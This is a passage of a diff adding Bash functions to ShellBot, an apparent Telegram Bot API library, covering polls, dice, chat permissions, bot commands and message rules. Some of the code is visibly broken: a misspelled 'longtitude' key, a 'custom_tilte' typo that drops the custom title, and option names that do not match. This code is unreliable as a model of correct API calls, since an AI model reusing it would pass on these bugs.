+				-X|--mpeg4_file_id)			__mpeg4_file_id=$2;			shift 2;;
+				-G|--mpeg4_height)			__mpeg4_height=$2;			shift 2;;
+				-C|--mpeg4_url)				__mpeg4_url=$2;				shift 2;;
+				-Q|--mpeg4_width)			__mpeg4_width=$2;			shift 2;;
+				-L|--performer)				__performer=$2;				shift 2;;
+				-Y|--photo_file_id)			__photo_file_id=$2;			shift 2;;
+				-E|--photo_height)			__photo_height=$2;			shift 2;;
+				-V|--photo_url)				__photo_url=$2;				shift 2;;
+				-H|--photo_width)			__photo_width=$2;			shift 2;;
+				-Z|--sticker_file_id)		__sticker_file_id=$2;		shift 2;;
+				-T|--thumb_height)			__thumb_height=$2;			shift 2;;
+				-F|--thumb_url)				__thumb_url=$2;				shift 2;;
+				-U|--thumb_width)			__thumb_width=$2;			shift 2;;
+				-M|--url)					__url=$2;					shift 2;;
+				-S|--vcard)					__vcard=$2;					shift 2;;
+				-O|--video_duration)		__video_duration=$2;		shift 2;;
+				-I|--video_file_id)			__video_file_id=$2;			shift 2;;
+				-K|--video_height)			__video_height=$2;			shift 2;;
+				-B|--video_url)				__video_url=$2;				shift 2;;
+				-P|--video_width)			__video_width=$2;			shift 2;;
+				-J|--voice_duration)		__voice_duration=$2;		shift 2;;
+				-W|--voice_file_id)			__voice_file_id=$2;			shift 2;;
+				--phone_number)				__phone_number=$2;			shift 2;;
+				--voice_url)				__voice_url=$2;				shift 2;;
+				--)														shift; break;;
+			esac
+		done
+
+		[[ $__input ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --input]"
+
+		local -n __input=$__input
+
+    	__input=${__input:+$__input,}{\"type\":\"$__type\"
+		__input+=${__title:+,\"title\":\"$__title\"}
+		__input+=${__caption:+,\"caption\":\"$__caption\"}
+		__input+=${__reply_markup:+,\"reply_markup\":\"$__reply_markup\"}
+		__input+=${__parse_mode:+,\"parse_mode\":\"$__parse_mode\"}
+		__input+=${__id:+,\"id\":\"$__id\"}
+		__input+=${__description:+,\"description\":\"$__description\"}
+		__input+=${__input_message_content:+,\"input_message_content\":$__input_message_content}
+		__input+=${__address:+,\"address\":\"$__address\"}
+		__input+=${__audio_duration:+,\"audio_duration\":$__audio_duration}
+		__input+=${__audio_file_id:+,\"audio_file_id\":\"$__audio_file_id\"}
+		__input+=${__audio_url:+,\"audio_url\":\"$__audio_url\"}
+		__input+=${__document_file_id:+,\"document_file_id\":\"$__document_file_id\"}
+		__input+=${__document_url:+,\"document_url\":\"$__document_url\"}
+		__input+=${__first_name:+,\"first_name\":\"$__first_name\"}
+		__input+=${__foursquare_id:+,\"foursquare_id\":\"$__foursquare_id\"}
+		__input+=${__foursquare_type:+,\"foursquare_type\":\"$__foursquare_type\"}
+		__input+=${__gif_duration:+,\"gif_duration\":$__gif_duration}
+		__input+=${__gif_file_id:+,\"gif_file_id\":\"$__gif_file_id\"}
+		__input+=${__gif_height:+,\"gif_height\":$__gif_height}
+		__input+=${__gif_url:+,\"gif_url\":\"$__gif_url\"}
+		__input+=${__gif_width:+,\"gif_width\":$__gif_width}
+		__input+=${__hide_url:+,\"hide_url\":\"$__hide_url\"}
+		__input+=${__last_name:+,\"last_name\":\"$__last_name\"}
+		__input+=${__latitude:+,\"latitude\":$__latitude}
+		__input+=${__live_period:+,\"live_period\":$__live_period}
+		__input+=${__longitude:+,\"longitude\":$__longitude}
+		__input+=${__mime_type:+,\"mime_type\":\"$__mime_type\"}
+		__input+=${__mpeg4_duration:+,\"mpeg4_duration\":$__mpeg4_duration}
+		__input+=${__mpeg4_file_id:+,\"mpeg4_file_id\":\"$__mpeg4_file_id\"}
+		__input+=${__mpeg4_height:+,\"mpeg4_height\":$__mpeg4_height}
+		__input+=${__mpeg4_url:+,\"mpeg4_url\":\"$__mpeg4_url\"}
+		__input+=${__mpeg4_width:+,\"mpeg4_width\":$__mpeg4_width}
+		__input+=${__performer:+,\"performer\":\"$__performer\"}
+		__input+=${__photo_file_id:+,\"photo_file_id\":\"$__photo_file_id\"}
+		__input+=${__photo_height:+,\"photo_height\":$__photo_height}
+		__input+=${__photo_url:+,\"photo_url\":\"$__photo_url\"}
+		__input+=${__photo_width:+,\"photo_width\":$__photo_width}
+		__input+=${__sticker_file_id:+,\"sticker_file_id\":\"$__sticker_file_id\"}
+		__input+=${__thumb_height:+,\"thumb_height\":$__thumb_height}
+		__input+=${__thumb_url:+,\"thumb_url\":\"$__thumb_url\"}
+		__input+=${__thumb_width:+,\"thumb_width\":$__thumb_width}
+		__input+=${__url:+,\"url\":\"$__url\"}
+		__input+=${__vcard:+,\"vcard\":\"$__vcard\"}
+		__input+=${__video_duration:+,\"video_duration\":$__video_duration}
+		__input+=${__video_file_id:+,\"video_file_id\":\"$__video_file_id\"}
+		__input+=${__video_height:+,\"video_height\":$__video_height}
+		__input+=${__video_url:+,\"video_url\":\"$__video_url\"}
+		__input+=${__video_width:+,\"video_width\":$__video_width}
+		__input+=${__voice_duration:+,\"voice_duration\":$__voice_duration}
+		__input+=${__voice_file_id:+,\"voice_file_id\":\"$__voice_file_id\"}
+		__input+=${__voice_url:+,\"voice_url\":\"$__voice_url\"}
+		__input+=${__phone_number:+,\"phone_number\":\"$__phone_number\"}}
+
+		return $?
+	}
+
+	ShellBot.InputMessageContent()
+	{
+		local message_text parse_mode disable_web_page_preview json
+		local latitude longitude live_period title address foursquare_id
+		local foursquare_type phone_number first_name last_name vcard
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 't:p:w:l:v:e:a:f:q:n:m:s:d:' \
+								--longoptions 'message_text:,
+												parse_mode:,
+												disable_web_page_preview:,
+												latitude:,
+												longitude:,
+												live_period:,
+												title:,
+												address:,
+												foursquare_id:,
+												foursquare_type:,
+												phone_number:,
+												first_name:,
+												last_name:,
+												vcard:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-t|--message_text) 				message_text=$(echo -e "$2");	shift 2;;
+				-p|--parse_mode)				parse_mode=$2; 					shift 2;;
+				-w|--disable_web_page_preview)	disable_web_page_preview=$2; 	shift 2;;
+				-l|--latitude)					latitude=$2;					shift 2;;
+				-g|--longitude)					longitude=$2;					shift 2;;
+				-v|--live_period)				live_period=$2;					shift 2;;
+				-e|--title)						title=$2;						shift 2;;
+				-a|--address)					address=$2;						shift 2;;
+				-f|--foursquare_id)				foursquare_id=$2;				shift 2;;
+				-q|--foursquare_type)			foursquare_type=$2;				shift 2;;
+				-n|--phone_number)				phone_number=$2;				shift 2;;
+				-m|--first_name)				first_name=$2;					shift 2;;
+				-s|--last_name)					last_name=$2;					shift 2;;
+				-d|--vcard)						vcard=$2;						shift 2;;
+				--) 															shift; break;;
+			esac
+		done
+		
+		json=${message_text:+\"message_text\":\"$message_text\"}
+		json+=${parse_mode:+,\"parse_mode\":\"$parse_mode\"}
+		json+=${disable_web_page_preview:+,\"disable_web_page_preview\":$disable_web_page_preview}
+		json+=${latitude:+,\"latitude\":$latitude}
+		json+=${longitude:+,\"longtitude\":$longitude}
+		json+=${live_period:+,\"live_period\":$live_period}
+		json+=${title:+,\"title\":\"$title\"}
+		json+=${address:+,\"address\":\"$address\"}
+		json+=${foursquare_id:+,\"foursquare_id\":\"$foursquare_id\"}
+		json+=${foursquare_type:+,\"foursquare_type\":\"$foursquare_type\"}
+		json+=${phone_number:+,\"phone_number\":\"$phone_number\"}
+		json+=${first_name:+,\"first_name\":\"$first_name\"}
+		json+=${last_name:+,\"last_name\":\"$last_name\"}
+		json+=${vcard:+,\"vcard\":\"$vcard\"}
+		
+		echo "{${json#,}}"
+
+		return $?
+	}
+
+	ShellBot.ChatPermissions()
+	{
+		local can_send_messages can_send_media_messages can_send_polls
+		local can_send_other_messages can_add_web_page_previews json
+		local can_change_info can_invite_users can_pin_messages
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'm:d:l:o:w:c:i:p:' \
+								--longoptions 'can_send_messages:,
+												can_send_media_messages:,
+												can_send_polls:,
+												can_send_other_messages:,
+												can_add_web_page_previews:,
+												can_change_info:,
+												can_invite_users:,
+												can_pin_messages:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-m|--can_send_messages) 		can_send_messages=$2;;
+				-d|--can_send_media_messages) 	can_send_media_messages=$2;;
+				-l|--can_send_polls)			can_send_polls=$2;;
+				-o|--can_send_other_messages)	can_send_other_messages=$2;;
+				-w|--can_add_web_page_previews) can_add_web_page_previews=$2;;
+				-c|--can_change_info)			can_change_info=$2;;
+				-i|--can_invite_users)			can_invite_users=$2;;
+				-p|--can_pin_messages)			can_pin_messages=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+		
+		json=${can_send_messages:+\"can_send_messages\":$can_send_messages,}
+		json+=${can_send_media_messages:+\"can_send_media_messages\":$can_send_media_messages,}
+		json+=${can_send_polls:+\"can_send_polls\":$can_send_polls,}
+		json+=${can_send_other_messages:+\"can_send_other_messages\":$can_send_other_messages,}
+		json+=${can_add_web_page_previews:+\"can_add_web_page_previews\":$can_add_web_page_previews,}
+		json+=${can_change_info:+\"can_change_info\":$can_change_info,}
+		json+=${can_invite_users:+\"can_invite_users\":$can_invite_users,}
+		json+=${can_pin_messages:+\"can_pin_messages\":$can_pin_messages,}
+	
+		# Retorna o objeto de permissões.
+		echo "{${json%,}}"
+
+    	# Status
+    	return $?
+	}
+
+	ShellBot.setChatPermissions()
+	{
+		local chat_id permissions jq_obj
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:p:' \
+								--longoptions 'chat_id:,permissions:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id) 		chat_id=$2;;
+				-p|--permissions)	permissions=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+		
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $permissions ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --permissions]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${permissions:+-d permissions="$permissions"})
+		
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+
+	}
+	
+	ShellBot.setChatAdministratorCustomTitle()
+	{
+		local chat_id user_id custom_title jq_obj
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:u:t:' \
+								--longoptions 'chat_id:,
+												user_id:,
+												custom_title:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id) 		chat_id=$2;;
+				-u|--user_id) 		user_id=$2;;
+				-t|--custom_title) 	custom_title=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+		
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+		[[ $custom_title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --custom_title]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${user_id:+-d user_id="$user_id"} \
+									${custom_tilte:+-d custom_title="$custom_title"})
+		
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+
+	ShellBot.sendPoll()
+	{
+		local chat_id question options is_anonymous reply_markup
+		local type allows_multiple_answers correct_option_id jq_obj
+		local is_closed disable_notification reply_to_message_id
+		local explanation explanation_parse_mode open_period close_date
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 'c:q:o:a:k:t:m:i:x:z:p:d:l:n:r:' \
+								--longoptions 'chat_id:,
+												question:,
+												options:,
+												is_anonymous:,
+												reply_markup:,
+												type:,
+												allows_multiple_answers:,
+												correct_option_id:,
+												explanation:,
+												explanation_parse_mode:,
+												open_period:,
+												close_date:,
+												is_closed:,
+												disable_notification:,
+												reply_to_message_id:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id) chat_id=$2;;
+				-q|--question) question=$(echo -e "$2");;
+				-o|--options) options=$(echo -e "$2");;
+				-a|--is_anonymous) is_anonymous=$2;;
+				-k|--reply_markup) reply_markup=$2;;
+				-t|--type) type=$2;;
+				-m|--allows_multiple_answers) allows_multiple_answers=$2;;
+				-i|--correct_option_id) correct_option_id=$2;;
+				-x|--explanation) explanation=$2;;
+				-z|--explanation_parse_mode) explanation_parse_mode=$2;;
+				-p|--open_period) open_period=$2;;
+				-d|--close_date) close_date=$2;;
+				-l|--is_closed) is_closed=$2;;
+				-n|--disable_notification) disable_notification=$2;;
+				-r|--reply_to_message_id) reply_to_message_id=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+		
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+		[[ $question ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-q, --question]"
+		[[ $options ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-o, --options]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${question:+-d question="$question"} \
+									${options:+-d options="$options"} \
+									${is_anonymous:+-d is_anonymous="$is_anonymous"} \
+									${reply_markup:+-d reply_markup="$reply_markup"} \
+									${type:+-d type="$type"} \
+									${allows_multiple_answers:+-d allows_multiple_answers="$allows_multiple_answers"} \
+									${correct_option_id:+-d correct_option_id="$correct_option_id"} \
+									${explanation:+-d explanation="$explanation"} \
+									${explanation_parse_mode:+-d explanation_parse_mode="$explanation_parse_mode"} \
+									${open_period:+-d open_period="$open_period"} \
+									${close_date:+-d close_date="$close_date"} \
+									${is_closed:+-d is_closed="$is_closed"} \
+									${disable_notification:+-d disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-d reply_to_message_id="$reply_to_message_id"})
+		
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+
+	}
+
+	ShellBot.KeyboardButtonPollType()
+	{
+		local type
+
+		local param=$(getopt --name "$FUNCNAME" --options 't:' --longoptions 'type:' -- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-t|--type) type=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+
+		[[ $type ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --type]"
+
+		printf '{"type": "%s"}' "$type"
+
+		return 0
+	}
+	
+	ShellBot.sendDice()
+	{
+		local chat_id disable_notification reply_to_message_id 
+		local reply_markup jq_obj emoji
+
+		local param=$(getopt 	--name "$FUNCNAME" \
+								--options 'c:e:n:r:k:' \
+								--longoptions 'chat_id:,
+												emoji:,
+												disable_notification:,
+												reply_to_message_id:,
+												reply_markup:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--chat_id) chat_id=$2;;
+				-e|--emoji) emoji=$2;;
+				-n|--disable_notification) disable_notification=$2;;
+				-r|--reply_to_message_id) reply_to_message_id=$2;;
+				-k|--reply_markup) reply_markup=$2;;
+				--) shift; break;;
+			esac
+			shift 2
+		done
+		
+		[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${emoji:+-d emoji="$emoji"} \
+									${disable_notification:+-d disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-d reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-d reply_markup="$reply_markup"})
+
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+
+	ShellBot.getMyCommands()
+	{
+		local jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.})
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	return $?
+	}
+
+	ShellBot.setMyCommands()
+	{
+		local jq_obj commands
+
+		local param=$(getopt 	--name "$FUNCNAME" \
+								--options 'c:' \
+								--longoptions 'commands:' \
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-c|--commands) commands=$2;;
+				--) break;;	
+			esac
+			shift 2
+		done
+		
+		[[ $commands ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --commands]"
+
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${commands:+-d commands="$commands"})
+
+		# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	}
+
+	ShellBot.BotCommand()
+	{
+		local __command __description __list
+		
+		local __param=$(getopt 	--name "$FUNCNAME" \
+								--options 'l:c:d:' \
+								--longoptions 'list:,
+												command:,
+												description:' \
+								-- "$@")
+
+		eval set -- "$__param"
+
+		while :
+		do
+			case $1 in
+				-l|--list) 	CheckArgType var "$1" "$2"; __list=$2;;
+				-c|--command) __command=$2;;
+				-d|--description) __description=$2;;
+				--) break;;
+			esac
+			shift 2
+		done
+
+		[[ $__list ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --list]"
+		[[ $__command ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --command]"
+		[[ $__description ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --description]"
+
+		printf -v $__list '%s' "${!__list#[}"
+		printf -v $__list '%s' "${!__list%]}"
+		
+		printf -v $__list '%s{"command": "%s", "description": "%s"}' 	\
+							"${!__list:+${!__list},}"					\
+							"$__command"								\
+							"$__description"
+
+		printf -v $__list '%s' "[${!__list}]"
+
+		return $?
+	}
+
+	ShellBot.setMessageRules()
+	{
+		local action command user_id username chat_id 
+		local chat_type time date language message_id 
+		local is_bot text entities_type file_type name
+		local query_data query_id query_text send_message
+		local chat_member mime_type num_args exec rule
+		local action_args weekday user_status chat_name 
+		local message_status reply_message parse_mode
+		local forward_message reply_markup continue i
+		local author_signature bot_action auth_file
+
+		local param=$(getopt	--name "$FUNCNAME" \
+								--options 's:a:z:c:i:u:h:v:y:l:m:b:t:n:f:p:q:r:g:o:e:d:w:j:x:R:S:F:K:P:E:A:C:B:T:' \
+								--longoptions	'name:,
+												action:,
+												action_args:,
+												command:,
+												user_id:,
+												username:,
+												chat_id:,
+												chat_name:,
+												chat_type:,
+												language_code:,
+												message_id:,
+												is_bot:,
+												text:,
+												entitie_type:,
+												file_type:,
+												mime_type:,
+												query_data:,
+												query_id:,
+												chat_member:,
+												num_args:,
+												time:,
+												date:,
+												weekday:,
+												user_status:,
+												message_status:,
+												exec:,
+												auth_file:,
+												bot_reply_message:,
+												bot_send_message:,
+												bot_forward_message:,
+												bot_reply_markup:,
+												bot_parse_mode:,
+												bot_action:,
+												author_signature:,
+												continue' \
+								-- "$@")
+		
+		eval set -- "$param"
+	
+		while :
+		do
+			case $1 in
+				-s|--name)
+					CheckArgType flag "$1" "$2"
+					name=$2
+					shift 2
+					;;
+				-a|--action)
+					CheckArgType func "$1" "$2"
+					action=$2
+					shift 2
+					;;
+				-z|--action_args)
+					action_args=$2
+					shift 2
+					;;
+				-c|--command)
+					CheckArgType cmd "$1" "$2"
+					command=$2
+					shift 2
+					;;
+				-i|--user_id)
+					user_id=${user_id:+$user_id|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-u|--username)
+					username=${username:+$username|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-h|--chat_id)
+					chat_id=${chat_id:+$chat_id|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-v|--chat_name)
+					chat_name=${chat_name:+$chat_name|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-y|--chat_type)
+					chat_type=${chat_type:+$chat_type|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-e|--time)
+					time=${time:+$time|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-d|--date)
+					date=${date:+$date|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-l|--laguage_code)
+					language=${language:+$language|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-m|--message_id)
+					message_id=${message_id:+$message_id|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-b|--is_bot)
+					is_bot=${is_bot:+$is_bot|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-t|--text)
+					text=${2//$'\n'/|}
+					shift 2
+					;;
+				-n|--entitie_type)
+					entities_type=${entities_type:+$entities_type|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-f|--file_type)
+					file_type=${file_type:+$file_type|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-p|--mime_type)
+					mime_type=${mime_type:+$mime_type|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-q|--query_data)
+					query_data=${query_data:+$query_data|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-r|--query_id)
+					query_id=${query_id:+$query_id|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-g|--chat_member)
+					chat_member=${chat_member:+$chat_member|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-o|--num_args)
+					num_args=${num_args:+$num_args|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-w|--weekday)
+					weekday=${weekday:+$weekday|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-j|--user_status)
+					user_status=${user_status:+$user_status|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-x|--message_status)
+					message_status=${message_status:+$message_status|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-T|--auth_file)
+					auth_file=${auth_file:+$auth_file|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-R|--bot_reply_message)
+					reply_message=$2
+					shift 2
+					;;
+				-S|--bot_send_message)
+					send_message=$2
+					shift 2
+					;;
+				-F|--bot_forward_message)
+					forward_message=${forward_message:+$forward_message|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-K|--bot_reply_markup)
+					reply_markup=$2
+					shift 2
+					;;
+				-P|--bot_parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+				-B|--bot_action)
+					bot_action=$2
+					shift 2
+					;;
+				-E|--exec)
+					exec=$2
+					shift 2
+					;;
+				-A|--author_signature)
+					author_signature=${author_signature:+$author_signature|}${2//[,$'\n']/|}
+					shift 2
+					;;
+				-C|--continue)
+					continue=true
+					shift
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --name]"
+		[[ ${_BOT_RULES_[$name]} ]] && MessageError API "$_ERR_RULE_ALREADY_EXISTS_" "[-s, --name]" "$name"
+
+		i=${_BOT_RULES_INDEX_:=0}
+
+		_BOT_RULES_[$i:source]=${BASH_SOURCE[1]##*/}
+		_BOT_RULES_[$i:line]=${BASH_LINENO}
+		_BOT_RULES_[$i:name]=${name}
+		_BOT_RULES_[$i:action]=${action}
+		_BOT_RULES_[$i:action_args]=${action_args}
+		_BOT_RULES_[$i:user_id]=${user_id}
+		_BOT_RULES_[$i:username]=${username}
+		_BOT_RULES_[$i:chat_id]=${chat_id}
+		_BOT_RULES_[$i:chat_name]=${chat_name}
+		_BOT_RULES_[$i:chat_type]=${chat_type}
+		_BOT_RULES_[$i:language_code]=${language}
+		_BOT_RULES_[$i:message_id]=${message_id}
+		_BOT_RULES_[$i:is_bot]=${is_bot}
+		_BOT_RULES_[$i:command]=${command}
+		_BOT_RULES_[$i:text]=${text}
+		_BOT_RULES_[$i:entities_type]=${entities_type}
+		_BOT_RULES_[$i:file_type]=${file_type}
+		_BOT_RULES_[$i:mime_type]=${mime_type}
+		_BOT_RULES_[$i:query_data]=${query_data}
+		_BOT_RULES_[$i:query_id]=${query_id}
+		_BOT_RULES_[$i:chat_member]=${chat_member}
+		_BOT_RULES_[$i:num_args]=${num_args}
+		_BOT_RULES_[$i:time]=${time}
+		_BOT_RULES_[$i:date]=${date}
+		_BOT_RULES_[$i:weekday]=${weekday}
+		_BOT_RULES_[$i:user_status]=${user_status}
+		_BOT_RULES_[$i:message_status]=${message_status}
+		_BOT_RULES_[$i:author_signature]=${author_signature}
+		_BOT_RULES_[$i:auth_file]=${auth_file}
+		_BOT_RULES_[$i:bot_reply_message]=${reply_message}
+		_BOT_RULES_[$i:bot_send_message]=${send_message}
+		_BOT_RULES_[$i:bot_forward_message]=${forward_message}
+		_BOT_RULES_[$i:bot_reply_markup]=${reply_markup}
+		_BOT_RULES_[$i:bot_parse_mode]=${parse_mode}
+		_BOT_RULES_[$i:bot_action]=${bot_action}
+		_BOT_RULES_[$i:exec]=${exec}
+		_BOT_RULES_[$i:continue]=${continue}
+		_BOT_RULES_[$name]=true
+
+		# Incrementa índice.
+		((_BOT_RULES_INDEX_++))
+
+		return $?
+	}
+	
+	ShellBot.manageRules()
+	{
+		local uid rule botcmd err tm stime etime ctime mime_type weekday
+		local dt sdate edate cdate mem ent type args status out fwid
+	   	local stdout i re match file user line
+
+		local u_message_text u_message_id u_message_from_is_bot 
+		local u_message_from_id u_message_from_username msgstatus argpos
+		local u_message_from_language_code u_message_chat_id message_status
+		local u_message_chat_type u_message_date u_message_entities_type
+		local u_message_mime_type u_message_author_signature
+
+		local 	param=$(getopt	--name "$FUNCNAME" \
+									--options 'u:' \
+									--longoptions 'update_id:' \
+									-- "$@")
+
+				
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-u|--update_id)
+					CheckArgType int "$1" "$2"
+					uid=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac			
+		done
+		
+		[[ $uid ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --update_id]"
+
+		# Regras (somente-leitura)
+		readonly _BOT_RULES_ _BOT_RULES_INDEX_
+		
+		[[ ${u_message_text:=${message_text[$uid]}} 				]] ||
+		[[ ${u_message_text:=${edited_message_text[$uid]}} 			]] ||
+		[[ ${u_message_text:=${callback_query_message_text[$uid]}}	]] ||
+		[[ ${u_message_text:=${inline_query_query[$uid]}} 			]] ||
+		[[ ${u_message_text:=${chosen_inline_result_query[$uid]}}	]] ||
+		[[ ${u_message_text:=${channel_post_text[$uid]}}			]] ||
+		[[ ${u_message_text:=${edited_channel_post_text[$uid]}}		]]
+
+		[[ ${u_message_id:=${message_message_id[$uid]}}					]] ||
+		[[ ${u_message_id:=${edited_message_message_id[$uid]}} 			]] ||
+		[[ ${u_message_id:=${callback_query_message_message_id[$uid]}} 	]] ||
+		[[ ${u_message_id:=${inline_query_id[$uid]}} 					]] ||
+		[[ ${u_message_id:=${chosen_inline_result_result_id[$uid]}}		]] ||
+		[[ ${u_message_id:=${channel_post_message_id[$uid]}}			]] ||
+		[[ ${u_message_id:=${edited_channel_post_message_id[$uid]}}		]] ||
+		[[ ${u_message_id:=${poll_answer_poll_id[$uid]}}				]]
+
+		[[ ${u_message_from_is_bot:=${message_from_is_bot[$uid]}} 				]] ||
+		[[ ${u_message_from_is_bot:=${edited_message_from_is_bot[$uid]}} 		]] ||
+		[[ ${u_message_from_is_bot:=${callback_query_from_is_bot[$uid]}} 		]] ||
+		[[ ${u_message_from_is_bot:=${inline_query_from_is_bot[$uid]}} 			]] ||
+		[[ ${u_message_from_is_bot:=${chosen_inline_result_from_is_bot[$uid]}}	]] ||
+		[[ ${u_message_from_is_bot:=${poll_answer_user_is_bot[$uid]}}			]]
+
+		[[ ${u_message_from_id:=${message_from_id[$uid]}} 				]] ||
+		[[ ${u_message_from_id:=${edited_message_from_id[$uid]}} 		]] ||
+		[[ ${u_message_from_id:=${callback_query_from_id[$uid]}} 		]] ||
+		[[ ${u_message_from_id:=${inline_query_from_id[$uid]}} 			]] ||
+		[[ ${u_message_from_id:=${chosen_inline_result_from_id[$uid]}}	]] ||
+		[[ ${u_message_from_id:=${poll_answer_user_id[$uid]}}			]]
+
+		[[ ${u_message_from_username:=${message_from_username[$uid]}} 				]] ||
+		[[ ${u_message_from_username:=${edited_message_from_username[$uid]}} 		]] ||
+		[[ ${u_message_from_username:=${callback_query_from_username[$uid]}} 		]] ||
+		[[ ${u_message_from_username:=${inline_query_from_username[$uid]}} 			]] ||
+		[[ ${u_message_from_username:=${chosen_inline_result_from_username[$uid]}}	]] ||
+		[[ ${u_message_from_username:=${poll_answer_user_username[$uid]}}			]]
+
+		[[ ${u_message_from_language_code:=${message_from_language_code[$uid]}} 				]] ||
+		[[ ${u_message_from_language_code:=${edited_message_from_language_code[$uid]}} 			]] ||
+		[[ ${u_message_from_language_code:=${callback_query_from_language_code[$uid]}} 			]] ||
+		[[ ${u_message_from_language_code:=${inline_query_from_language_code[$uid]}} 			]] ||
+		[[ ${u_message_from_language_code:=${chosen_inline_result_from_language_code[$uid]}}	]]
+
+		[[ ${u_message_chat_id:=${message_chat_id[$uid]}} 					]] ||
+		[[ ${u_message_chat_id:=${edited_message_chat_id[$uid]}} 			]] ||
+		[[ ${u_message_chat_id:=${callback_query_message_chat_id[$uid]}}	]] ||
+		[[ ${u_message_chat_id:=${channel_post_chat_id[$uid]}}				]] ||
+		[[ ${u_message_chat_id:=${edited_channel_post_chat_id[$uid]}}		]]
+
+		[[ ${u_message_chat_username:=${message_chat_username[$uid]}}					]] ||
